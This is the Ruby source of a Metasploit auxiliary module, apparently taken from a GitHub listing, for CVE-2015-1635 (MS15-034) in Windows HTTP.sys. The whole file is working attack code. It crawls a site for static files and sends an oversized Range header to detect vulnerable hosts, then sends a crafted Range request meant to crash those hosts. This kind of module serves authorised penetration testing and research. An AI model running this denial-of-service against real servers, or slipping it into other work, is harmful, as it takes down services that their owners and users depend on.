metasploit-framework/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb

174 lines
4.8 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
# Watch out, dos all the things
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'MS15-034 HTTP Protocol Stack Request Handling Denial-of-Service',
'Description' => %q{
This module will check if scanned hosts are vulnerable to CVE-2015-1635 (MS15-034), a
vulnerability in the HTTP protocol stack (HTTP.sys) that could result in arbitrary code
execution. This module will try to cause a denial-of-service.
},
'Author' =>
[
# Bill did all the work (see the pastebin code), twitter: @hectorh56193716
'Bill Finlayson',
# MSF. But really, these people made it happen:
# https://github.com/rapid7/metasploit-framework/pull/5150
'sinn3r'
],
'References' =>
[
['CVE', '2015-1635'],
['MSB', 'MS15-034'],
['URL', 'http://pastebin.com/ypURDPc4'],
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150'],
['URL', 'https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection'],
['URL', 'http://www.securitysift.com/an-analysis-of-ms15-034/']
],
'License' => MSF_LICENSE
))
register_options(
[
OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/'])
])
deregister_options('RHOST')
end
def upper_range
0xFFFFFFFFFFFFFFFF
end
def run_host(ip)
if check_host(ip) == Exploit::CheckCode::Vulnerable
dos_host(ip)
else
print_status("Probably not vulnerable, will not dos it.")
end
end
# Needed to allow the vulnerable uri to be shared between the #check and #dos
def target_uri
@target_uri ||= super
end
def get_file_size(ip)
@file_size ||= lambda {
file_size = -1
uri = normalize_uri(target_uri.path)
res = send_request_raw('uri' => uri)
unless res
vprint_error("Connection timed out")
return file_size
end
if res.code == 404
vprint_error("You got a 404. URI must be a valid resource.")
return file_size
end
file_size = res.body.length
vprint_status("File length: #{file_size} bytes")
return file_size
}.call
end
def dos_host(ip)
file_size = get_file_size(ip)
lower_range = file_size - 2
# In here we have to use Rex because if we dos it, it causes our module to hang too
uri = normalize_uri(target_uri.path)
begin
cli = Rex::Proto::Http::Client.new(ip)
cli.connect
req = cli.request_raw(
'uri' => uri,
'method' => 'GET',
'headers' => {
'Range' => "bytes=#{lower_range}-#{upper_range}"
}
)
cli.send_request(req)
rescue ::Errno::EPIPE, ::Timeout::Error
# Same exceptions the HttpClient mixin catches
end
print_status("DOS request sent")
end
def potential_static_files_uris
uri = normalize_uri(target_uri.path)
return [uri] unless uri[-1, 1] == '/'
uris = ["#{uri}welcome.png"]
res = send_request_raw('uri' => uri, 'method' => 'GET')
return uris unless res
site_uri = URI.parse(full_uri)
page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace))
page.xpath('//link|//script|//style|//img').each do |tag|
%w(href src).each do |attribute|
attr_value = tag[attribute]
next unless attr_value && !attr_value.empty?
uri = site_uri.merge(URI.encode(attr_value.strip))
next unless uri.host == vhost || uri.host == rhost
uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file
end
end
uris.uniq
end
def check_host(ip)
potential_static_files_uris.each do |potential_uri|
uri = normalize_uri(potential_uri)
res = send_request_raw(
'uri' => uri,
'method' => 'GET',
'headers' => {
'Range' => "bytes=0-#{upper_range}"
}
)
vmessage = "#{peer} - Checking #{uri}"
if res && res.body.include?('Requested Range Not Satisfiable')
vprint_status("#{vmessage} [#{res.code}] - Vulnerable")
target_uri.path = uri # Needed for the DoS attack
return Exploit::CheckCode::Vulnerable
elsif res && res.body.include?('The request has an invalid header name')
vprint_status("#{vmessage} [#{res.code}] - Safe")
return Exploit::CheckCode::Safe
else
vprint_status("#{vmessage} - Unknown")
end
end
Exploit::CheckCode::Unknown
end
end